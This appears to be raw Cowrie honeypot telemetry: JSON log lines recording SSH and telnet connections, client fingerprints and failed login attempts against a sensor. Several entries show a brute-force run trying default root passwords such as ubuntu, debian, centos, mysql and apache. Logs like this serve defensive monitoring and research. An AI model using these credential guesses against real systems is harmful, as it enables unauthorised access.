{"eventid":"cowrie.session.closed","duration":35.06892395019531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:09.326970Z","src_ip":"128.199.8.54","session":"bbbc043a6f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37232,"dst_ip":"159.203.135.109","dst_port":23,"session":"221b30a5e2e5","protocol":"telnet","message":"New connection: 128.199.8.54:37232 (159.203.135.109:23) [session: 221b30a5e2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:14.372262Z"}
{"eventid":"cowrie.session.closed","duration":34.637887716293335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:18.976449Z","src_ip":"128.199.8.54","session":"51d67dea9df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67620277404785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:29.400725Z","src_ip":"208.109.212.211","session":"758914c91ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41122,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae78e88c120e","protocol":"telnet","message":"New connection: 128.199.8.54:41122 (159.203.135.109:23) [session: ae78e88c120e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:30.773382Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41286,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c568ec7943f","protocol":"telnet","message":"New connection: 128.199.8.54:41286 (159.203.135.109:23) [session: 4c568ec7943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:30.864994Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41782,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a740feeb1c3","protocol":"telnet","message":"New connection: 128.199.8.54:41782 (159.203.135.109:23) [session: 5a740feeb1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:31.133440Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36554,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d3ff0a8917","protocol":"ssh","message":"New connection: 2.57.122.208:36554 (159.203.135.109:22) [session: 36d3ff0a8917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:32.860949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:33.322308Z","src_ip":"2.57.122.208","session":"36d3ff0a8917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:33.326662Z","src_ip":"2.57.122.208","session":"36d3ff0a8917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.46454167366028,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:34.043125Z","src_ip":"128.199.8.54","session":"1a635f735070","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:34.322983Z","src_ip":"2.57.122.208","session":"36d3ff0a8917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:35.634209Z","src_ip":"2.57.122.208","session":"36d3ff0a8917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":47602,"dst_ip":"159.203.135.109","dst_port":22,"session":"2451be3d35c0","protocol":"ssh","message":"New connection: 188.32.210.218:47602 (159.203.135.109:22) [session: 2451be3d35c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:37.777749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:37.782684Z","src_ip":"188.32.210.218","session":"2451be3d35c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56378,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c29e93f05f9","protocol":"telnet","message":"New connection: 128.199.8.54:56378 (159.203.135.109:23) [session: 5c29e93f05f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:37.801822Z"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:37.950243Z","src_ip":"188.32.210.218","session":"2451be3d35c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:38.440962Z","src_ip":"188.32.210.218","session":"2451be3d35c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7361,"dst_ip":"10.17.0.5","dst_port":23,"session":"249c4a2c9a95","protocol":"telnet","message":"New connection: 212.55.149.117:7361 (10.17.0.5:23) [session: 249c4a2c9a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:38.692627Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:39.584780Z","src_ip":"188.32.210.218","session":"2451be3d35c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":47606,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8e2ebeb6e22","protocol":"ssh","message":"New connection: 188.32.210.218:47606 (159.203.135.109:22) [session: f8e2ebeb6e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:39.707493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:39.718057Z","src_ip":"188.32.210.218","session":"f8e2ebeb6e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:39.843734Z","src_ip":"188.32.210.218","session":"f8e2ebeb6e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:40.220833Z","src_ip":"188.32.210.218","session":"f8e2ebeb6e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76619219779968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:40.757098Z","src_ip":"128.199.8.54","session":"a7c900da2b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:41.347554Z","src_ip":"188.32.210.218","session":"f8e2ebeb6e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":47612,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af8fd1fe524","protocol":"ssh","message":"New connection: 188.32.210.218:47612 (159.203.135.109:22) [session: 5af8fd1fe524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:41.479069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:41.489604Z","src_ip":"188.32.210.218","session":"5af8fd1fe524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:41.651061Z","src_ip":"188.32.210.218","session":"5af8fd1fe524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:42.039839Z","src_ip":"188.32.210.218","session":"5af8fd1fe524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:43.174123Z","src_ip":"188.32.210.218","session":"5af8fd1fe524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":40738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6a3122bd0ef","protocol":"ssh","message":"New connection: 188.32.210.218:40738 (159.203.135.109:22) [session: e6a3122bd0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:43.328835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:43.333895Z","src_ip":"188.32.210.218","session":"e6a3122bd0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:43.474387Z","src_ip":"188.32.210.218","session":"e6a3122bd0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:43.873674Z","src_ip":"188.32.210.218","session":"e6a3122bd0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:45.010765Z","src_ip":"188.32.210.218","session":"e6a3122bd0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":40740,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edd03f599e3","protocol":"ssh","message":"New connection: 188.32.210.218:40740 (159.203.135.109:22) [session: 8edd03f599e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:45.134818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:45.139553Z","src_ip":"188.32.210.218","session":"8edd03f599e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:45.278092Z","src_ip":"188.32.210.218","session":"8edd03f599e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:45.681362Z","src_ip":"188.32.210.218","session":"8edd03f599e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:46.815018Z","src_ip":"188.32.210.218","session":"8edd03f599e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":40750,"dst_ip":"159.203.135.109","dst_port":22,"session":"b180a4bb6f52","protocol":"ssh","message":"New connection: 188.32.210.218:40750 (159.203.135.109:22) [session: b180a4bb6f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:46.941913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:46.947344Z","src_ip":"188.32.210.218","session":"b180a4bb6f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:47.075200Z","src_ip":"188.32.210.218","session":"b180a4bb6f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:47.482162Z","src_ip":"188.32.210.218","session":"b180a4bb6f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:48.610810Z","src_ip":"188.32.210.218","session":"b180a4bb6f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.32.210.218","src_port":40754,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ccf225b508a","protocol":"ssh","message":"New connection: 188.32.210.218:40754 (159.203.135.109:22) [session: 8ccf225b508a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:49.748937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:49.755280Z","src_ip":"188.32.210.218","session":"8ccf225b508a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:49.898382Z","src_ip":"188.32.210.218","session":"8ccf225b508a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:50.303968Z","src_ip":"188.32.210.218","session":"8ccf225b508a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33424758911133,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:59:50.706227Z","src_ip":"128.199.8.54","session":"221b30a5e2e5","protocol":"telnet"}
